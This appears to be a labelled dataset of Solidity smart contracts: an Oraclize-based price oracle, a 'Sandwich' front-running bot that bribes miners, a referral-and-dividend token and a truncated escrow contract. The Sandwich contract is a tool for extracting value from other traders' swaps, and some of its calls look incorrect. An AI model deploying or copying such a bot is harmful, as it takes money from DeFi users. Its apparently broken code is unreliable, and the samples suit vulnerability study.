for (uint i = 0; i < arr.length; i++) {
buf.encodeBytes(arr[i]);
}
buf.endSequence();
return buf.buf;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal view returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
require((_nbytes > 0) && (_nbytes <= 32));
_delay *= 10;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes memory delay = new bytes(32);
assembly {
mstore(add(delay, 0x20), _delay)
}
bytes memory delay_bytes8 = new bytes(8);
copyBytes(delay, 24, 8, delay_bytes8, 0);
bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay];
bytes32 queryId = oraclize_query("random", args, _customGasLimit);
bytes memory delay_bytes8_left = new bytes(8);
assembly {
let x := mload(add(delay_bytes8, 0x20))
mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000))
}
oraclize_randomDS_setCommitment(queryId, keccak256(delay_bytes8_left, args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(keccak256(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(keccak256(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = byte(1);
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1));
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
require(proofVerified);
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){
bool match_ = true;
require(prefix.length == n_random_bytes);
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(keccak256(keyhash) == keccak256(sha256(context_name, queryId)))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == keccak256(commitmentSlice1, sessionPubkeyHash)){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) {
uint minLength = length + toOffset;
require(to.length >= minLength);
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
function safeMemoryCleaner() internal pure {
assembly {
let fmem := mload(0x40)
codecopy(fmem, codesize, sub(msize, fmem))
}
}
}
contract Fiat {
function calculatedTokens(address _src, uint256 _amount) public;
}
contract LockEther is Ownable, usingOraclize {
using SafeMath for uint256;
struct Sender {
address senderAddress;
uint256 amount;
uint256 previousPrice;
uint256 prepreviousPrice;
uint32 currentUrl;
}
uint256 amountConverted;
uint256 gasPrice;
Fiat eUSD;
mapping (bytes32 => Sender) pendingQueries;
mapping(uint32 => string) urlRank;
uint32 maxRankIndex = 0;
bool eUSDSet = false;
event NewOraclizeQuery(string message);
event Price(uint256 _price);
event EtherSend(uint256 _amount);
constructor() public {
gasPrice = 71000000000;
}
function __callback(bytes32 myid, string result) public {
require(msg.sender == oraclize_cbAddress());
require (pendingQueries[myid].amount > 0);
oraclize_setCustomGasPrice(gasPrice);
bytes32 queryId;
uint256 amountOfTokens;
Sender storage sender = pendingQueries[myid];
uint256 price = parseInt(result, 2);
emit Price(price);
if(price == 0 && sender.currentUrl < maxRankIndex - 1) {
sender.currentUrl += 1;
emit NewOraclizeQuery("Oraclize query was sent, standing by for the answer..");
queryId = oraclize_query("URL", urlRank[sender.currentUrl], 400000);
pendingQueries[queryId] = sender;
}
else if(sender.currentUrl == 0) {
sender.previousPrice = price;
sender.currentUrl += 1;
emit NewOraclizeQuery("Oraclize query was sent, standing by for the answer..");
queryId = oraclize_query("URL", urlRank[sender.currentUrl], 400000);
pendingQueries[queryId] = sender;
}
else if(sender.currentUrl == 1) {
if(calculateDiffPercent(sender.previousPrice, price) <= 14) {
amountOfTokens = (sender.amount.mul(sender.previousPrice)).div(100);
eUSD.calculatedTokens(sender.senderAddress, amountOfTokens);
amountConverted = amountConverted.add(sender.amount);
}
else {
sender.prepreviousPrice = sender.previousPrice;
sender.previousPrice = price;
sender.currentUrl += 1;
emit NewOraclizeQuery("Oraclize query was sent, standing by for the answer..");
queryId = oraclize_query("URL", urlRank[sender.currentUrl], 400000);
pendingQueries[queryId] = sender;
}
}
else if(sender.currentUrl > 1) {
if(calculateDiffPercent(sender.previousPrice, price) <= 14) {
amountOfTokens = (sender.amount.mul(sender.previousPrice)).div(100);
eUSD.calculatedTokens(sender.senderAddress, amountOfTokens);
amountConverted = amountConverted.add(sender.amount);
}
else if(calculateDiffPercent(sender.prepreviousPrice, price) <= 14) {
amountOfTokens = (sender.amount.mul(sender.prepreviousPrice)).div(100);
eUSD.calculatedTokens(sender.senderAddress, amountOfTokens);
amountConverted = amountConverted.add(sender.amount);
}
else {
sender.prepreviousPrice = sender.previousPrice;
sender.previousPrice = price;
sender.currentUrl += 1;
if(sender.currentUrl == maxRankIndex) {
eUSD.calculatedTokens(sender.senderAddress, 0);
}
else {
queryId = oraclize_query("URL", urlRank[sender.currentUrl]);
pendingQueries[queryId] = sender;
}
}
}
delete pendingQueries[myid];
}
function callOracle(address _src, uint256 _amount) public {
require(msg.sender == address(eUSD));
emit EtherSend(_amount);
if (oraclize_getPrice("URL") > address(this).balance) {
emit NewOraclizeQuery("Oraclize query was NOT sent, please add some ETH to cover for the query fee");
} else {
emit NewOraclizeQuery("Oraclize query was sent, standing by for the answer..");
oraclize_setCustomGasPrice(gasPrice);
Sender memory sender = Sender({senderAddress: _src, amount: _amount, previousPrice: 0, prepreviousPrice: 0, currentUrl: 0});
bytes32 queryId = oraclize_query("URL", urlRank[0], 400000);
pendingQueries[queryId] = sender;
}
}
function seteUSD(address _efiat) public onlyOwner {
require(!eUSDSet);
eUSD = Fiat(_efiat);
eUSDSet = true;
}
function calculateDiffPercent(uint256 _firstValue, uint256 _secondValue) private pure returns(uint256) {
if(_firstValue == 0) return 100;
if(_secondValue == 0) return 100;
if(_firstValue >= _secondValue) {
return ((_firstValue.sub(_secondValue)).mul(1000)).div(_secondValue);
}
else {
return ((_secondValue.sub(_firstValue)).mul(1000)).div(_secondValue);
}
}
function addNewUrl(string _url) public onlyOwner {
urlRank[maxRankIndex] = _url;
maxRankIndex += 1;
}
function changeGasPrice(uint256 _price) public onlyOwner {
gasPrice = _price;
}
function () payable public {
require(msg.sender == address(eUSD));
}
function getAmountConverted() constant public returns(uint256) {
return amountConverted;
}
function getCurrentGasPrice() constant public returns(uint256) {
return gasPrice;
}
} | 1 | 2,703 |
pragma solidity ^0.8.0;
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address _owner) external view returns (uint256);
function allowance(address _owner, address _spender) external view returns (uint256);
function transfer(address _to, uint256 _value) external returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);
function approve(address _spender, uint256 _value) external returns (bool success);
}
interface IWETH {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address _owner) external view returns (uint256);
function allowance(address _owner, address _spender) external view returns (uint256);
function transfer(address _to, uint256 _value) external returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);
function approve(address _spender, uint256 _value) external returns (bool success);
function deposit() external payable;
function withdraw(uint wad) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface Gastoken {
function free(uint256 value) external returns (bool success);
function freeUpTo(uint256 value) external returns (uint256 freed);
function freeFrom(address from, uint256 value) external returns (bool success);
function freeFromUpTo(address from, uint256 value) external returns (uint256 freed);
function mint(uint256 value) external;
}
contract Sandwich {
constructor() {}
receive() external payable {}
fallback() external payable {}
modifier onlyOwner {
require(msg.sender == address(0x8C14877fe86b23FCF669350d056cDc3F2fC27029));
_;
}
function mintGastoken(address gasTokenAddress, uint _amount) external {
Gastoken(gasTokenAddress).mint(_amount);
}
function withdrawERC20(address _token, uint _amount) external onlyOwner {
IERC20(_token).transfer(msg.sender, _amount);
}
function approveMax(address router, address token) external onlyOwner {
IERC20(token).approve(router, type(uint).max);
}
function _swapExactWETHToTokens(
uint amountToFree,
uint256 inputAmount,
uint256 outputAmount,
IUniswapV2Pair p,
bool whichToken
) external onlyOwner {
address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2).call(abi.encodeWithSelector(0xa9059cbb, address(p), inputAmount));
if (whichToken) {
address(p).call(abi.encodeWithSelector(0x0902f1ac, 0, outputAmount, address(this), ""));
} else {
address(p).call(abi.encodeWithSelector(0x0902f1ac, outputAmount, 0, address(this), ""));
}
if(amountToFree > 0) {
address(0x0000000000b3F879cb30FE243b4Dfee438691c04).call(abi.encodeWithSelector(0xd8ccd0f3, amountToFree));
}
}
function _swapExactTokensToWETHAndBribe(
uint amountToFree,
address inputToken,
uint256 inputAmount,
uint256 outputAmount,
uint256 minOutAmount,
IUniswapV2Pair p,
bool whichToken,
uint bribeAmount,
uint bribePercentage
) external {
if(amountToFree > 0) {
address(0x0000000000b3F879cb30FE243b4Dfee438691c04).call(abi.encodeWithSelector(0xd8ccd0f3, amountToFree));
}
(, bytes memory data) = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2).call(abi.encodeWithSelector(0x70a08231, address(this)));
uint startBalance = abi.decode(data, (uint256));
if(inputAmount == 0) {
(, data) = inputToken.call(abi.encodeWithSelector(0x70a08231, address(this)));
inputAmount = abi.decode(data, (uint256)) - 1;
}
inputToken.call(abi.encodeWithSelector(0xa9059cbb, address(p), inputAmount));
if(outputAmount == 0) {
if (whichToken) {
(, data) = address(p).call(abi.encodeWithSelector(0x0902f1ac));
(uint256 reserveIn, uint256 reserveOut,) = abi.decode(data, (uint256, uint256, uint32));
inputAmount = inputAmount * 997;
inputAmount = (inputAmount * reserveOut)/(reserveIn * 1000 + inputAmount);
address(p).call(abi.encodeWithSelector(0x0902f1ac, 0, inputAmount, address(this), ""));
} else {
(, data) = address(p).call(abi.encodeWithSelector(0x0902f1ac));
(uint256 reserveOut, uint256 reserveIn,) = abi.decode(data, (uint256, uint256, uint32));
inputAmount = inputAmount * 997;
inputAmount = (inputAmount * reserveOut)/(reserveIn * 1000 + inputAmount);
address(p).call(abi.encodeWithSelector(0x0902f1ac, inputAmount, 0, address(this), ""));
}
} else {
if (whichToken) {
address(p).call(abi.encodeWithSelector(0x0902f1ac, 0, outputAmount, address(this), ""));
} else {
address(p).call(abi.encodeWithSelector(0x0902f1ac, outputAmount, 0, address(this), ""));
}
}
(, data) = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2).call(abi.encodeWithSelector(0x70a08231, address(this)));
uint balance = abi.decode(data, (uint256));
uint profit = balance - startBalance - minOutAmount;
if (bribeAmount == 0) {
bribeAmount = profit * bribePercentage / 100;
}
require(profit >= bribeAmount, "Not enough money to pay bribe");
address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2).call(abi.encodeWithSelector(0x2e1a7d4d, bribeAmount));
block.coinbase.call{value: bribeAmount}(new bytes(0));
}
} | 1 | 3,330 |
pragma solidity 0.4.25;
contract PantheonPro {
struct UserRecord {
address referrer;
uint tokens;
uint gained_funds;
uint ref_funds;
int funds_correction;
}
using SafeMath for uint;
using SafeMathInt for int;
using Fee for Fee.fee;
using ToAddress for bytes;
string constant public name = "Pantheon Pro M";
string constant public symbol = "PNP";
uint8 constant public decimals = 18;
Fee.fee private fee_purchase = Fee.fee(1, 10);
Fee.fee private fee_selling = Fee.fee(1, 20);
Fee.fee private fee_transfer = Fee.fee(1, 100);
Fee.fee private fee_referral = Fee.fee(33, 100);
uint constant private minimal_stake = 10e18;
uint constant private precision_factor = 1e18;
uint private price = 1e29;
uint constant private price_offset = 1e28;
uint private total_supply = 0;
uint private shared_profit = 0;
mapping(address => UserRecord) private user_data;
modifier onlyValidTokenAmount(uint tokens) {
require(tokens > 0, "Amount of tokens must be greater than zero");
require(tokens <= user_data[msg.sender].tokens, "You have not enough tokens");
_;
}
function () public payable {
buy(msg.data.toAddr());
}
function buy(address referrer) public payable {
(uint fee_funds, uint taxed_funds) = fee_purchase.split(msg.value);
require(fee_funds != 0, "Incoming funds is too small");
UserRecord storage user = user_data[msg.sender];
if (referrer != 0x0 && referrer != msg.sender && user.referrer == 0x0) {
user.referrer = referrer;
}
if (user.referrer != 0x0) {
fee_funds = rewardReferrer(msg.sender, user.referrer, fee_funds, msg.value);
require(fee_funds != 0, "Incoming funds is too small");
}
(uint tokens, uint _price) = fundsToTokens(taxed_funds);
require(tokens != 0, "Incoming funds is too small");
price = _price;
mintTokens(msg.sender, tokens);
shared_profit = shared_profit.add(fee_funds);
emit Purchase(msg.sender, msg.value, tokens, price / precision_factor, now);
}
function sell(uint tokens) public onlyValidTokenAmount(tokens) {
(uint funds, uint _price) = tokensToFunds(tokens);
require(funds != 0, "Insufficient tokens to do that");
price = _price;
(uint fee_funds, uint taxed_funds) = fee_selling.split(funds);
require(fee_funds != 0, "Insufficient tokens to do that");
burnTokens(msg.sender, tokens);
UserRecord storage user = user_data[msg.sender];
user.gained_funds = user.gained_funds.add(taxed_funds);
shared_profit = shared_profit.add(fee_funds);
emit Selling(msg.sender, tokens, funds, price / precision_factor, now);
}
function transfer(address to_addr, uint tokens) public onlyValidTokenAmount(tokens) returns (bool success) {
require(to_addr != msg.sender, "You cannot transfer tokens to yourself");
(uint fee_tokens, uint taxed_tokens) = fee_transfer.split(tokens);
require(fee_tokens != 0, "Insufficient tokens to do that");
(uint funds, uint _price) = tokensToFunds(fee_tokens);
require(funds != 0, "Insufficient tokens to do that");
price = _price;
burnTokens(msg.sender, tokens);
mintTokens(to_addr, taxed_tokens);
shared_profit = shared_profit.add(funds);
emit Transfer(msg.sender, to_addr, tokens);
return true;
}
function reinvest() public {
uint funds = dividendsOf(msg.sender);
require(funds > 0, "You have no dividends");
UserRecord storage user = user_data[msg.sender];
user.funds_correction = user.funds_correction.add(int(funds));
(uint fee_funds, uint taxed_funds) = fee_purchase.split(funds);
require(fee_funds != 0, "Insufficient dividends to do that");
if (user.referrer != 0x0) {
fee_funds = rewardReferrer(msg.sender, user.referrer, fee_funds, funds);
require(fee_funds != 0, "Insufficient dividends to do that");
}
(uint tokens, uint _price) = fundsToTokens(taxed_funds);
require(tokens != 0, "Insufficient dividends to do that");
price = _price;
mintTokens(msg.sender, tokens);
shared_profit = shared_profit.add(fee_funds);
emit Reinvestment(msg.sender, funds, tokens, price / precision_factor, now);
}
function withdraw() public {
uint funds = dividendsOf(msg.sender);
require(funds > 0, "You have no dividends");
UserRecord storage user = user_data[msg.sender];
user.funds_correction = user.funds_correction.add(int(funds));
msg.sender.transfer(funds);
emit Withdrawal(msg.sender, funds, now);
}
function exit() public {
uint tokens = user_data[msg.sender].tokens;
if (tokens > 0) {
sell(tokens);
}
withdraw();
}
function donate() public payable {
shared_profit = shared_profit.add(msg.value);
emit Donation(msg.sender, msg.value, now);
}
function totalSupply() public view returns (uint) {
return total_supply;
}
function balanceOf(address addr) public view returns (uint) {
return user_data[addr].tokens;
}
function dividendsOf(address addr) public view returns (uint) {
UserRecord memory user = user_data[addr];
int d = int(user.gained_funds.add(user.ref_funds));
require(d >= 0);
if (total_supply > 0) {
d = d.add(int(shared_profit.mul(user.tokens) / total_supply));
}
if (user.funds_correction > 0) {
d = d.sub(user.funds_correction);
}
else if (user.funds_correction < 0) {
d = d.add(-user.funds_correction);
}
require(d >= 0);
return uint(d);
}
function expectedTokens(uint funds, bool apply_fee) public view returns (uint) {
if (funds == 0) {
return 0;
}
if (apply_fee) {
(,uint _funds) = fee_purchase.split(funds);
funds = _funds;
}
(uint tokens,) = fundsToTokens(funds);
return tokens;
}
function expectedFunds(uint tokens, bool apply_fee) public view returns (uint) {
if (tokens == 0 || total_supply == 0) {
return 0;
}
else if (tokens > total_supply) {
tokens = total_supply;
}
(uint funds,) = tokensToFunds(tokens);
if (apply_fee) {
(,uint _funds) = fee_selling.split(funds);
funds = _funds;
}
return funds;
}
function buyPrice() public view returns (uint) {
return price / precision_factor;
}
function sellPrice() public view returns (uint) {
return price.sub(price_offset) / precision_factor;
}
function mintTokens(address addr, uint tokens) internal {
UserRecord storage user = user_data[addr];
bool not_first_minting = total_supply > 0;
if (not_first_minting) {
shared_profit = shared_profit.mul(total_supply.add(tokens)) / total_supply;
}
total_supply = total_supply.add(tokens);
user.tokens = user.tokens.add(tokens);
if (not_first_minting) {
user.funds_correction = user.funds_correction.add(int(tokens.mul(shared_profit) / total_supply));
}
}
function burnTokens(address addr, uint tokens) internal {
UserRecord storage user = user_data[addr];
uint dividends_from_tokens = 0;
if (total_supply == tokens) {
dividends_from_tokens = shared_profit.mul(user.tokens) / total_supply;
}
shared_profit = shared_profit.mul(total_supply.sub(tokens)) / total_supply;
total_supply = total_supply.sub(tokens);
user.tokens = user.tokens.sub(tokens);
if (total_supply > 0) {
user.funds_correction = user.funds_correction.sub(int(tokens.mul(shared_profit) / total_supply));
}
else if (dividends_from_tokens != 0) {
user.funds_correction = user.funds_correction.sub(int(dividends_from_tokens));
}
}
function rewardReferrer(address addr, address referrer_addr, uint funds, uint full_funds) internal returns (uint funds_after_reward) {
UserRecord storage referrer = user_data[referrer_addr];
if (referrer.tokens >= minimal_stake) {
(uint reward_funds, uint taxed_funds) = fee_referral.split(funds);
referrer.ref_funds = referrer.ref_funds.add(reward_funds);
emit ReferralReward(addr, referrer_addr, full_funds, reward_funds, now);
return taxed_funds;
}
else {
return funds;
}
}
function fundsToTokens(uint funds) internal view returns (uint tokens, uint _price) {
uint b = price.mul(2).sub(price_offset);
uint D = b.mul(b).add(price_offset.mul(8).mul(funds).mul(precision_factor));
uint n = D.sqrt().sub(b).mul(precision_factor) / price_offset.mul(2);
uint anp1 = price.add(price_offset.mul(n) / precision_factor);
return (n, anp1);
}
function tokensToFunds(uint tokens) internal view returns (uint funds, uint _price) {
uint sell_price = price.sub(price_offset);
uint an = sell_price.add(price_offset).sub(price_offset.mul(tokens) / precision_factor);
uint sn = sell_price.add(an).mul(tokens) / precision_factor.mul(2);
return (sn / precision_factor, an);
}
event Purchase(address indexed addr, uint funds, uint tokens, uint price, uint time);
event Selling(address indexed addr, uint tokens, uint funds, uint price, uint time);
event Reinvestment(address indexed addr, uint funds, uint tokens, uint price, uint time);
event Withdrawal(address indexed addr, uint funds, uint time);
event Donation(address indexed addr, uint funds, uint time);
event ReferralReward(address indexed referral_addr, address indexed referrer_addr, uint funds, uint reward_funds, uint time);
event Transfer(address indexed from_addr, address indexed to_addr, uint tokens);
}
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "mul failed");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
require(b <= a, "sub failed");
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "add failed");
return c;
}
function sqrt(uint x) internal pure returns (uint y) {
uint z = add(x, 1) / 2;
y = x;
while (z < y) {
y = z;
z = add(x / z, z) / 2;
}
}
}
library SafeMathInt {
function sub(int a, int b) internal pure returns (int) {
int c = a - b;
require(c <= a, "sub failed");
return c;
}
function add(int a, int b) internal pure returns (int) {
int c = a + b;
require(c >= a, "add failed");
return c;
}
}
library Fee {
using SafeMath for uint;
struct fee {
uint num;
uint den;
}
function split(fee memory f, uint value) internal pure returns (uint tax, uint taxed_value) {
if (value == 0) {
return (0, 0);
}
tax = value.mul(f.num) / f.den;
taxed_value = value.sub(tax);
}
function get_tax(fee memory f, uint value) internal pure returns (uint tax) {
if (value == 0) {
return 0;
}
tax = value.mul(f.num) / f.den;
}
}
library ToAddress {
function toAddr(bytes source) internal pure returns (address addr) {
assembly {
addr := mload(add(source, 0x14))
}
return addr;
}
} | 1 | 3,637 |
pragma solidity ^0.4.24;
contract Token {
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
}
contract LocalEthereumEscrows {
address public arbitrator;
address public owner;
address public relayer;
uint32 public requestCancellationMinimumTime;
uint256 public feesAvailableForWithdraw;
uint8 constant INSTRUCTION_SELLER_CANNOT_CANCEL = 0x01;
uint8 constant INSTRUCTION_BUYER_CANCEL = 0x02;
uint8 constant INSTRUCTION_SELLER_CANCEL = 0x03;
uint8 constant INSTRUCTION_SELLER_REQUEST_CANCEL = 0x04;
uint8 constant INSTRUCTION_RELEASE = 0x05;
uint8 constant INSTRUCTION_RESOLVE = 0x06;
event Created(bytes32 indexed _tradeHash);
event SellerCancelDisabled(bytes32 indexed _tradeHash);
event SellerRequestedCancel(bytes32 indexed _tradeHash);
event CancelledBySeller(bytes32 indexed _tradeHash);
event CancelledByBuyer(bytes32 indexed _tradeHash);
event Released(bytes32 indexed _tradeHash);
event DisputeResolved(bytes32 indexed _tradeHash);
struct Escrow {
bool exists;
uint32 sellerCanCancelAfter;
uint128 totalGasFeesSpentByRelayer;
}
mapping (bytes32 => Escrow) public escrows;
modifier onlyOwner() {
require(msg.sender == owner, "Must be owner");
_;
}
modifier onlyArbitrator() {
require(msg.sender == arbitrator, "Must be arbitrator");
_;
}
constructor() public {
owner = msg.sender;
arbitrator = msg.sender;
relayer = msg.sender;
requestCancellationMinimumTime = 2 hours;
}
function createEscrow(
bytes16 _tradeID,
address _seller,
address _buyer,
uint256 _value,
uint16 _fee,
uint32 _paymentWindowInSeconds,
uint32 _expiry,
uint8 _v,
bytes32 _r,
bytes32 _s
) payable external {
bytes32 _tradeHash = keccak256(abi.encodePacked(_tradeID, _seller, _buyer, _value, _fee));
require(!escrows[_tradeHash].exists, "Trade already exists");
bytes32 _invitationHash = keccak256(abi.encodePacked(
_tradeHash,
_paymentWindowInSeconds,
_expiry
));
require(recoverAddress(_invitationHash, _v, _r, _s) == relayer, "Must be relayer");
require(block.timestamp < _expiry, "Signature has expired");
require(msg.value == _value && msg.value > 0, "Incorrect ether sent");
uint32 _sellerCanCancelAfter = _paymentWindowInSeconds == 0
? 1
: uint32(block.timestamp) + _paymentWindowInSeconds;
escrows[_tradeHash] = Escrow(true, _sellerCanCancelAfter, 0);
emit Created(_tradeHash);
}
uint16 constant GAS_doResolveDispute = 36100;
function resolveDispute(
bytes16 _tradeID,
address _seller,
address _buyer,
uint256 _value,
uint16 _fee,
uint8 _v,
bytes32 _r,
bytes32 _s,
uint8 _buyerPercent
